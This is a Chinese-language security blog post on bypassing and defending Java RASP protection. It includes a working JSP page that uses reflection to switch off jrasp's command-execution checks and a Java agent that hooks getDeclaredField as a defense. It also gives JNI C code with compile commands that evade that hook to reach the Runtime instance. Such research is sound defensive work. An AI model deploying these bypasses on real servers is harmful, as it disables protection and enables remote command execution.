长亭百川云 - 文章详情

针对RASP检测反射场景下的对抗思考

小陈的Life

55

2024-07-13

戳上面的蓝字关注我吧!


01

背景介绍

最近在研究RASP的攻防场景,接触到利用JNI的方式绕过RASP的检测,同时研究了利用反射来关闭RASP的检测开关的时候,思考了一下防御视角可能会怎么防御。

0****2

场景补充

详细的分析手法可以看凌日实验室公众号发布的《RASP的安全攻防研究实践》:https://mp.weixin.qq.com/s/uboamTu5LinvFcDktmL3Xw

会获取检测的action字段的值,因此该action的值就决定了是否会拦截。

`<%@ page language="java" contentType="text/html; charset=UTF-8"`    `pageEncoding="UTF-8"%>``<%@ page import="java.lang.Thread" %>``<%@ page import="java.lang.reflect.*" %>``<%@ page import="java.util.*" %>``<%@ page import="java.net.URLClassLoader" %>``<%@ page import="java.net.URL" %>``<!DOCTYPE html>``<html>``<head>``<meta charset="UTF-8">``<title>Close Rasp for RCE</title>``</head>``<body>`  `<%``   `    `Field raspClassLoaderMap = Thread.currentThread().getContextClassLoader().loadClass("com.jrasp.agent.AgentLauncher").getDeclaredField("raspClassLoaderMap");`    `raspClassLoaderMap.setAccessible(true);`    `Map map = (Map)raspClassLoaderMap.get(null);`    `ClassLoader raspCLassLoader = (ClassLoader) map.get("jrasp");`    `Field algorithmMaps = raspCLassLoader.loadClass("com.jrasp.core.algorithm.DefaultAlgorithmManager").getDeclaredField("algorithmMaps");`    `algorithmMaps.setAccessible(true);`    `Map algorithmMap = (Map) algorithmMaps.get(null);`    `Field RceCheckList = algorithmMap.get("rce").getClass().getDeclaredField("list");`    `RceCheckList.setAccessible(true);`    `List RceList = (List)RceCheckList.get(null);`    `for(int i=0;i<RceList.size();i++){`        `Object RceAlgorithm = RceList.get(i);`        `Field action = RceAlgorithm.getClass().getSuperclass().getDeclaredField("action");`        `action.setAccessible(true);`        `action.set(RceAlgorithm,0);`    `}``   `    `out.println("Succeed");`  `%>``</body>``</html>`

后续通过反射的方式来动态修改action字段的值。

03

**防御视角对抗
**

在关闭RASP的JSP文件中,可以看出用了反射的方式获取了对应的字段名称,因此我这里的想法就是Hook反射中常见的java.lang.Class的getDeclaredField()方法。

我这里重新编写了一个Hello.jar包,来模拟真实攻击者调用反射获取字段的时候,RASP是怎么来拦截的。

`package javaTest;``   ``import java.lang.reflect.Field;``   ``public class Hello   {`    `public static void main(String[] args) throws Exception {`      `System.loadLibrary("attach");`      `Class cls=Class.forName("sun.tools.attach.WindowsVirtualMachine");`      `Field f = cls.getDeclaredField("stub");`      `System.out.println(cls.getName());`      `f.setAccessible(true);`      `System.out.println(f.getName());`    `}``}`

可以拿到stub的字段对象

我这里手动编写了一个agent,用来模拟RASP的检测

`package io.onedev.agent;``   ``import java.lang.instrument.ClassFileTransformer;``import java.lang.instrument.IllegalClassFormatException;``import java.lang.instrument.Instrumentation;``import java.lang.instrument.UnmodifiableClassException;``import java.security.ProtectionDomain;``   ``import javassist.ClassClassPath;``import javassist.ClassPool;``import javassist.CtClass;``import javassist.CtMethod;``import javassist.LoaderClassPath;``   ``/**` `* Hello world!` `*` `*/``public class App` `{`  `private static final String HOOK_CLASS = "java.lang.Class";``   `  `public static void agentmain(String args, Instrumentation instrumentation) throws Exception {`    `//instrumentation.addTransformer(new DefineTransformer(), true);`    `loadAgent(args,instrumentation);`    `}``   `  `private static void loadAgent(String arg, final Instrumentation inst) {`        `// 创建DefineTransformer对象`        `ClassFileTransformer classFileTransformer = new DefineTransformer();``   `        `// 添加自定义的Transformer,第二个参数true表示是否允许Agent Retransform,`        `// 需配合MANIFEST.MF中的Can-Retransform-Classes: true配置`        `inst.addTransformer(classFileTransformer, true);``   `        `// 获取所有已经被JVM加载的类对象`        `Class[] loadedClass = inst.getAllLoadedClasses();``   `        `for (Class clazz : loadedClass) {`            `String className = clazz.getName();``   `            `if (inst.isModifiableClass(clazz)) {`                `// 使用Agent重新加载字节码,java.lang.Class必须用重新加载才可以Hook`                `if (className.equals(HOOK_CLASS)) {`                    `try {`                        `inst.retransformClasses(clazz);`                    `} catch (UnmodifiableClassException e) {`                        `e.printStackTrace();`                    `}`                `}`            `}`        `}`    `}``   `  `public static void premain(String args, Instrumentation instrumentation) throws Exception {`        `agentmain(args,instrumentation);`    `}``   `  `static class DefineTransformer implements ClassFileTransformer {`    `public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {`        `if(HOOK_CLASS.replace(".", "/").equals(className)){`              `try {`                `ClassPool pool = ClassPool.getDefault();`                `//ClassPool pool = new ClassPool(true);`                `ClassClassPath classPath = new ClassClassPath(this.getClass());`                `pool.insertClassPath(classPath);`                `//将当前ClassLoader添加到ClassPath`                `pool.appendClassPath(new LoaderClassPath(loader));`                `pool.appendClassPath(new LoaderClassPath(Thread.currentThread().getContextClassLoader()));`                `pool.appendSystemPath();         // the same class path as the default one.`                `pool.childFirstLookup = true;`                    `CtClass ctClass = pool.get(HOOK_CLASS);``   `                    `CtMethod ctMethod = ctClass.getDeclaredMethod("getDeclaredField",new CtClass[] {pool.get("java.lang.String")});`              `for(CtClass cls : ctMethod.getParameterTypes()) {`                `System.out.println(cls.getName());`              `}`              `ctMethod.insertBefore(`                  `"String name = $0.getName();" +``                   "boolean isRaspClass = name.replace(\"class \", \"\").startsWith(\"sun.tools.attach\");" +  ``                         "        if (isRaspClass) {" +  ``                         "            throw new SecurityException(\"Cannot get a sun.tools.attach Class\" +\r\n" +  ``                         "                                            \" Field\");" +  ``                        "        }");`                    `System.out.println("Access In Method");`                    `return ctClass.toBytecode();`                `} catch (Throwable e) {`                  `System.out.println("Access In ExceptionCatch Method");`                    `e.printStackTrace();`                `}`            `}`            `return null;`      `}`    `}``}`

在方法前织入了如下代码:

`String name = $0.getName();``boolean isRaspClass = name.replace("class ", "").startsWith("sun.tools.attach");``if (isRaspClass) {`    `throw new SecurityException("Cannot get a sun.tools.attach Class Field");``}`

$0就是当前方法的this对象

成功拦截掉反射“sun.tools.attach”开头的类。

04

攻击视角再谈绕过

上述模拟了RASP场景下,检测反射获取字段的方法,对其包的完全限定名进行判定,以"sun.tools.attach"开头的类名的字段就禁止反射。

针对此类场景我思考了一些我自己的想法,想着看能不能通过JNI的方式关闭RASP。但因为完成攻击首先就需要有一个代码执行的场景,其次是已经有JNI注入了,完全可以通过JNI的方式绕过RASP来完成命令执行,因此我这里也只是当作一种拓展面的方式来分享一些吧。

通过JNI调用Java方法绕过

这里我拿在实战中经常用到的Runtime来举例吧,通过反射的方式来获取Runtime实例,Rasp会拦截反射中获取java.lang.Runtime的类。

`package javaTest;``   ``import java.lang.reflect.Field;``   ``public class Hello   {`    `public static void main(String[] args) throws Exception {`      `System.loadLibrary("attach");`      `Class cls=Class.forName("java.lang.Runtime");`      `Field f = cls.getDeclaredField("currentRuntime");`      `f.setAccessible(true);`      `Object obj = (Object)Runtime.getRuntime();`      `System.out.println(obj);`    `}``}`

打包运行截图如下

明显可以看出使用有RASP Agent的场景无法获取到Runtime类中currentRuntime字段存放的实例。

下面我再利用JNI注入的方式绕过反射检测。

首先创建一个Native函数,函数会返回一个Object对象,也就是Runtime类中currentRuntime静态字段存放的实例。

`package com.rasp.demo;``   ``import java.io.File;``import java.lang.reflect.Field;``   ``public class JniDemo {`  `{`    `String realPath = System.getProperty("user.dir") + File.separator +"raspDemo.so" ;`    `System.load(realPath);`  `}`  `public native Object GetStaticField(String cls,String fieldName);``   ``   `  `public static void main(String[] args) throws Exception {`    `JniDemo demo = new JniDemo();`    `System.loadLibrary("attach");`    `Object obj = demo.GetStaticField("java.lang.Runtime","currentRuntime");`      `System.out.println(obj);`  `}``}`

有个这个,就可以通过以下命令生成一个头文件

javac -cp . ./com/rasp/demo/JniDemo.java -h com.rasp.demo.JniDemo

头文件内容如下

`/* DO NOT EDIT THIS FILE - it is machine generated */``#include <jni.h>``/* Header for class com_rasp_demo_JniDemo */``   ``#ifndef _Included_com_rasp_demo_JniDemo``#define _Included_com_rasp_demo_JniDemo``#ifdef __cplusplus``extern "C" {``#endif``/*` `* Class:     com_rasp_demo_JniDemo` `* Method:    GetStaticField` `* Signature: (Ljava/lang/String;Ljava/lang/String;)Ljava/lang/Object;` `*/``JNIEXPORT jobject JNICALL Java_com_rasp_demo_JniDemo_GetStaticField`  `(JNIEnv *, jobject, jstring, jstring);``   ``#ifdef __cplusplus``}``#endif``#endif`

里面有一个Java_com_rasp_demo_JniDemo_GetStaticField函数名称,就是我们需要实现的函数。

我的实现内容如下:

`#include "com_rasp_demo_JniDemo.h"``#include <string.h>``#include <stdio.h>``#include <sys/types.h>``#include <unistd.h>``#include <stdlib.h>``   ``char *replaceAll(const char *in, const char *pat, const char *replace) {`  `const int replaceLen = (int)strlen(replace);`  `const int patLen = (int)strlen(pat);``   `  `char *str = malloc(strlen(in)+1);`  `strcpy(str, in);``   `  `for(;;) {`    `char *p = strstr(str, pat);`    `if (p == NULL) return str;``   `    `int replace_pos = (int)(p - str);`    `int tail_len = (int)strlen(p + patLen);``   `    `char *newstr = malloc(strlen(str) + (replaceLen - patLen) + 1);``   `    `memcpy(newstr, str, replace_pos);`    `memcpy(newstr + replace_pos, replace, replaceLen);`    `memcpy(newstr + replace_pos + replaceLen, str + replace_pos + patLen, tail_len+1);``   `    `free(str);`    `str = newstr;`  `}``   `  `return str;``}``   ``   ``JNIEXPORT jobject JNICALL Java_com_rasp_demo_JniDemo_GetStaticField`  `(JNIEnv *env, jobject obj,jstring clsName,jstring fieldName){``   `  `const char *cstr = (*env)->GetStringUTFChars(env, clsName, NULL);`  `const char *field_str = (*env)->GetStringUTFChars(env, fieldName, NULL);``   `  `char *className = replaceAll(cstr, ".", "/");`  `jclass classtring = (*env)->FindClass(env,className);`  `if (classtring == NULL) {`        `return NULL;`    `}``   ``   `  `jfieldID currentRuntime = (*env)->GetStaticFieldID(env, classtring, field_str, "Ljava/lang/Runtime;");`  `jobject runtime_object = (*env)->GetStaticObjectField(env, classtring, currentRuntime);``   `  `(*env)->ReleaseStringUTFChars(env,clsName,cstr);`  `(*env)->ReleaseStringUTFChars(env,fieldName,field_str);`    `return runtime_object;`  `}`

之后将c代码编译成so文件

gcc -fPIC -I "/usr/lib/jvm/java-11-openjdk-amd64/include" -I"/usr/lib/jvm/java-11-openjdk-amd64/include/linux" -shared -o raspDemo.so raspDemo.c

同时将我们的前面写的JniDemo类打包成jar文件,并附加我们的RASP Agent运行

成功绕过RASP的反射检测,拿到对象实例。

05

总结思考

确实,JNI可以操作的空间很大,不仅能从C代码执行相关操作,同时又可以在C代码中调用Java代码,来回切换、反复横跳,有着很大的操纵空间来规避RASP和HIDS等安全防护产品。在研究这个绕过思路的时候,发现还可以删除对象的Reference引用,熟悉JVM的GC垃圾回收机制的程序员就会知道,一个对象没有引用的时候,是会被GC给回收回去。所以我思考了一下,是否可以通过删除对RASP自定义的ClassLoader的引用,来隔绝ClassLoader加载的类和GC Root的关系,从而使RASP失去防御。

当然,上述场景我也没有验证过,也只是我的一点思考。不过因最近学业繁重,每天都需要花费更多的时间来复习当天所学,关于JNI的一些思考还是留着以后有机会再深入吧。

06

Reference

[1].《RASP的安全攻防研究实践》:https://mp.weixin.qq.com/s/uboamTu5LinvFcDktmL3Xw

[2].https://blog.csdn.net/sujudz/article/details/9019897

[3].https://www.cnblogs.com/c-x-a/p/15609219.html

[4].https://www.cnblogs.com/yongdaimi/p/14023154.html


相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2